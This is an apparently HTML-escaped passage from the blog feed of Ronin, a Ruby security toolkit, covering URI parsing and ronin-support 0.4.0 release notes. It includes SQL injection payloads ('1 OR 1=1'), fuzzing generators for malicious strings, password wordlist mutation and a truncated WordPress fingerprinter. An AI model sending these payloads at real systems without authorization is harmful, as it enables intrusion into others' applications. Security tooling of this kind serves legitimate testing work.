&lt;span class=&quot;c1&quot;&gt;#  &amp;quot;oe&amp;quot;=&amp;gt;&amp;quot;utf-8&amp;quot;,&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;#  &amp;quot;aq&amp;quot;=&amp;gt;&amp;quot;t&amp;quot;,&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;#  &amp;quot;rls&amp;quot;=&amp;gt;&amp;quot;org.mozilla:en-US:unofficial&amp;quot;,&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;#  &amp;quot;client&amp;quot;=&amp;gt;&amp;quot;firefox-a&amp;quot;}&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# =&amp;gt; {&amp;quot;q&amp;quot;=&amp;gt;&amp;quot;parsing+URIs+is+hard,+let&amp;#39;s+go+shopping&amp;quot;, &amp;quot;ie&amp;quot;=&amp;gt;&amp;quot;utf-8&amp;quot;, &amp;quot;oe&amp;quot;=&amp;gt;&amp;quot;utf-8&amp;quot;, &amp;quot;aq&amp;quot;=&amp;gt;&amp;quot;t&amp;quot;, &amp;quot;rls&amp;quot;=&amp;gt;&amp;quot;org.mozilla:en-US:unofficial&amp;quot;, &amp;quot;client&amp;quot;=&amp;gt;&amp;quot;firefox-a&amp;quot;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Additionally, you can &lt;a href=&quot;http://rubydoc.info/gems/uri-query_params/URI/QueryParams#parse-class_method&quot;&gt;parse&lt;/a&gt;/&lt;a href=&quot;http://rubydoc.info/gems/uri-query_params/URI/QueryParams#dump-class_method&quot;&gt;dump&lt;/a&gt; individual query strings:&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;ruby&quot;&gt;&lt;span class=&quot;ss&quot;&gt;URI&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;ss&quot;&gt;:QueryParams&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;parse&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;q=1&amp;amp;x=2&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# =&amp;gt; {&amp;quot;q&amp;quot; =&amp;gt; &amp;quot;1&amp;quot;, &amp;quot;x&amp;quot; =&amp;gt; &amp;quot;2&amp;quot;}&lt;/span&gt;
&lt;span class=&quot;ss&quot;&gt;URI&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;ss&quot;&gt;:QueryParams&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;dump&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;ss&quot;&gt;:q&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;:x&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# =&amp;gt; &amp;quot;q=1&amp;amp;x=2&amp;quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;




&lt;div class=&quot;note&quot;&gt;
&lt;p&gt;
The &lt;kbd&gt;URI::QueryParams.dump&lt;/kbd&gt; method is also used by
&lt;a href=&quot;/docs/ronin-support/Ronin/Network/HTTP.html&quot;&gt;HTTP&lt;/a&gt;
helper methods for the &lt;kbd&gt;:query_params&lt;/kbd&gt; option:
&lt;/p&gt;


&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;ruby&quot;&gt;&lt;span class=&quot;n&quot;&gt;http_get&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;ss&quot;&gt;:host&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&amp;#39;example.com&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;:path&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&amp;#39;/page.php&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;:query_params&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;id&amp;#39;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&amp;quot;1 OR 1=1&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;})&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;/div&gt;


&lt;h2&gt;Non-standard URIs&lt;/h2&gt;

&lt;p&gt;There are URIs that Ruby has trouble parsing, such as so called
&lt;a href=&quot;http://en.wikipedia.org/wiki/Punycode&quot;&gt;punycode&lt;/a&gt; domains. Not to worry, Ronin also requires the
&lt;a href=&quot;https://github.com/sporkmonger/addressable#readme&quot;&gt;addressable&lt;/a&gt; RubyGem, a URI parsing library on steroids:&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;ruby&quot;&gt;&lt;span class=&quot;n&quot;&gt;uri&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;Addressable&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;ss&quot;&gt;:URI&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;parse&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;http://www.詹姆斯.com/?q=1&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# =&amp;gt; #&amp;lt;Addressable::URI:0xb525d4 URI:http://www.詹姆斯.com/?q=1&amp;gt;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;uri&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;normalize&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# =&amp;gt; #&amp;lt;Addressable::URI:0xb57bec URI:http://www.xn--8ws00zhy3a.com/?q=1&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;With Ronin, parsing URIs is easy.&lt;/p&gt;
</content>
  </entry>
  
  <entry>
    <title>Ronin is now on Reddit</title>
    <link href="http://ronin-ruby.gihtub.io/blog/2012/03/14/ronin-is-now-on-reddit.html" />
    <updated>Wed Mar 14 00:00:00 -0700 2012</updated>
    <author>
      <name>postmodern</name>
    </author>
    <id>http://ronin-ruby.gihtub.io/blog/2012/03/14/ronin-is-now-on-reddit.html</id>
    <content type="html">&lt;p&gt;Thanks to user suggestion, Ronin is now on &lt;a href=&quot;http://reddit.com/r/ronin_ruby&quot;&gt;Reddit&lt;/a&gt; (with 35 readers so far)!&lt;/p&gt;

&lt;p&gt;Send us your links, questions or tips for Ronin or other Ruby hacking.&lt;/p&gt;
</content>
  </entry>
  
  <entry>
    <title>Ronin 1.4.0 released</title>
    <link href="http://ronin-ruby.gihtub.io/blog/2012/02/17/ronin-1-4-0-released.html" />
    <updated>Fri Feb 17 00:00:00 -0800 2012</updated>
    <author>
      <name>postmodern</name>
    </author>
    <id>http://ronin-ruby.gihtub.io/blog/2012/02/17/ronin-1-4-0-released.html</id>
    <content type="html">&lt;p&gt;After many months of development and release candidates I am pleased to announce
that &lt;a href=&quot;/docs/ronin-support/&quot;&gt;ronin-support&lt;/a&gt; &lt;a href=&quot;/docs/ronin-support/file.ChangeLog.html&quot;&gt;0.4.0&lt;/a&gt;, &lt;a href=&quot;/docs/ronin/&quot;&gt;ronin&lt;/a&gt; &lt;a href=&quot;/docs/ronin/file.ChangeLog.html&quot;&gt;1.4.0&lt;/a&gt; and
&lt;a href=&quot;/docs/ronin-gen/&quot;&gt;ronin-gen&lt;/a&gt; &lt;a href=&quot;/docs/ronin-gen/file.ChangeLog.html&quot;&gt;1.1.0&lt;/a&gt; have been released.&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;gem update ronin-support ronin ronin-gen
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;So what's new?&lt;/p&gt;

&lt;h2&gt;ronin-support 0.4.0&lt;/h2&gt;

&lt;h3&gt;Common Regular Expressions&lt;/h3&gt;

&lt;p&gt;Many common and useful Regular Expressions constants were added to the
&lt;a href=&quot;/docs/ronin-support/Regexp.html&quot;&gt;Regexp&lt;/a&gt; class.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;ruby&quot;&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;Please see C:&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\\&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;Documents&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\\&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;plans.docx&amp;quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;scan&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;ss&quot;&gt;Regexp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;ss&quot;&gt;:ABSOLUTE_WINDOWS_PATH&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# =&amp;gt; [&amp;quot;C:\\Documents\\plans.docx&amp;quot;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;h3&gt;New String methods&lt;/h3&gt;

&lt;p&gt;&lt;a href=&quot;/docs/ronin-support/String.html#repeating-instance_method&quot;&gt;String#repeating&lt;/a&gt; was added which allows creating multiple repeating
Strings:&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;ruby&quot;&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;A&amp;#39;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;repeating&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;100&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;700&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;step&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;100&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;puts&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;str&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;&lt;a href=&quot;/docs/ronin-support/String.html#sql_inject-instance_method&quot;&gt;String#sql_inject&lt;/a&gt; was also added, allowing for easy formatting of SQL
injections:&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;ruby&quot;&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;&amp;#39;1&amp;#39; OR 1=1&amp;quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sql_inject&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;ss&quot;&gt;:terminate&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;kp&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# =&amp;gt; &amp;quot;1&amp;#39; OR 1=1 --&amp;quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;h3&gt;Base64 formatting&lt;/h3&gt;

&lt;p&gt;&lt;a href=&quot;/docs/ronin-support/String.html#base64_encode-instance_method&quot;&gt;String#base64_encode&lt;/a&gt; and &lt;a href=&quot;/docs/ronin-support/String.html#base64_decode-instance_method&quot;&gt;String#base64_decode&lt;/a&gt; now accept formatting
arguments:&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;ruby&quot;&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;A&amp;quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;256&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;base64_encode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;ss&quot;&gt;:strict&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# =&amp;gt; &amp;quot;QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQQ==&amp;quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;




&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;ruby&quot;&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;hello world&amp;quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;base64_encode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;ss&quot;&gt;:url&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# =&amp;gt; &amp;quot;aGVsbG8gd29ybGQ=&amp;quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;These base64 formats are similar to the new methods added to the
&lt;a href=&quot;http://rubydoc.info/stdlib/base64/1.9.2/frames&quot;&gt;Base64&lt;/a&gt; module in Ruby 1.9.&lt;/p&gt;

&lt;h3&gt;ronin/fuzzing&lt;/h3&gt;

&lt;p&gt;All fuzzing methods were moved into &lt;code&gt;ronin/fuzzing&lt;/code&gt; and the &lt;a href=&quot;/docs/ronin-support/Ronin/Fuzzing.html&quot;&gt;Ronin::Fuzzing&lt;/a&gt;
namespace. &lt;a href=&quot;/docs/ronin-support/Ronin/Fuzzing.html&quot;&gt;Ronin::Fuzzing&lt;/a&gt; was added which contains fuzzing generator
methods, which generate various types of malicious data. These methods can be
called directly ...&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;ruby&quot;&gt;&lt;span class=&quot;no&quot;&gt;Fuzzing&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;format_strings&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;fmt&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;puts&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;fmt&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;... or accessed as Enumerators:&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;ruby&quot;&gt;&lt;span class=&quot;no&quot;&gt;Fuzzing&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;ss&quot;&gt;:bad_strings&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# =&amp;gt; #&amp;lt;Enumerator: Ronin::Fuzzing:bad_strings&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;The fuzzing generator methods can also be used with &lt;a href=&quot;/docs/ronin-support/String.html#fuzz-instance_method&quot;&gt;String#fuzz&lt;/a&gt;:&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;ruby&quot;&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;GET /sign_in&amp;quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;fuzz&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;ss&quot;&gt;:unix_path&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;:bad_paths&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;p&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;str&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;&lt;a href=&quot;/docs/ronin-support/String.html#mutate-instance_method&quot;&gt;String#mutate&lt;/a&gt; was also added to &lt;code&gt;ronin/fuzzing&lt;/code&gt;, which allows for the
incremental mutating of a String, given patterns and substitutions.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;ruby&quot;&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;hello old dog&amp;quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;mutate&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;e&amp;#39;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;3&amp;#39;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&amp;#39;l&amp;#39;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;1&amp;#39;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&amp;#39;o&amp;#39;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;0&amp;#39;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;puts&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;str&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;h3&gt;New Wordlist class&lt;/h3&gt;

&lt;p&gt;&lt;a href=&quot;/docs/ronin-support/Ronin/Wordlist.html&quot;&gt;Ronin::Wordlist&lt;/a&gt; is a class for building and working with wordlists.&lt;/p&gt;

&lt;p&gt;Use an existing Wordlist file:&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;ruby&quot;&gt;&lt;span class=&quot;n&quot;&gt;wordlist&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;Wordlist&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;passwords.txt&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;wordlist&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;each&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;word&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;puts&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;word&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Expand a Wordlist with mutation rules:&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;ruby&quot;&gt;&lt;span class=&quot;n&quot;&gt;wordlist&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;Wordlist&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;passwords.txt&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;sr&quot;&gt;/e/&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;E&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&amp;#39;3&amp;#39;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;sr&quot;&gt;/a/&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;@&amp;#39;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;wordlist&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;each&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;word&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;puts&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;word&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Build a Wordlist from arbitrary text:&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;ruby&quot;&gt;&lt;span class=&quot;n&quot;&gt;wordlist&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;Wordlist&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;build&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;text&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;wordlist&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;each_n_words&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;words&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;puts&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;words&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;h3&gt;Network modules&lt;/h3&gt;

&lt;p&gt;As of &lt;a href=&quot;/docs/ronin-support/&quot;&gt;ronin-support&lt;/a&gt; 0.4.0 all &lt;code&gt;Net&lt;/code&gt; convenience methods have been moved
into their respective modules in the &lt;a href=&quot;/docs/ronin-support/Ronin/Network.html&quot;&gt;Network&lt;/a&gt; namespace. One can add the
Network convenience methods to any Class/Module by simply including a Network
module:&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;ruby&quot;&gt;&lt;span class=&quot;nb&quot;&gt;require&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&amp;#39;ronin/network/http&amp;#39;&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;WordpressFingerprinter&lt;/span&gt;

  &lt;span class=&quot;kp&quot;&gt;include&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;Ronin&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;ss&quot;&gt;:Network&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;HTTP&lt;/span&gt;

  &lt;span class=&quot;kp&quot;&gt;attr_accessor&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;:host&lt;/span&gt;

  &lt;span class=&quot;no&quot;&gt;PATH&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&amp;#39;/wp-includes/js/tinymce/tiny_mce.js&amp;#39;&lt;/span&gt;

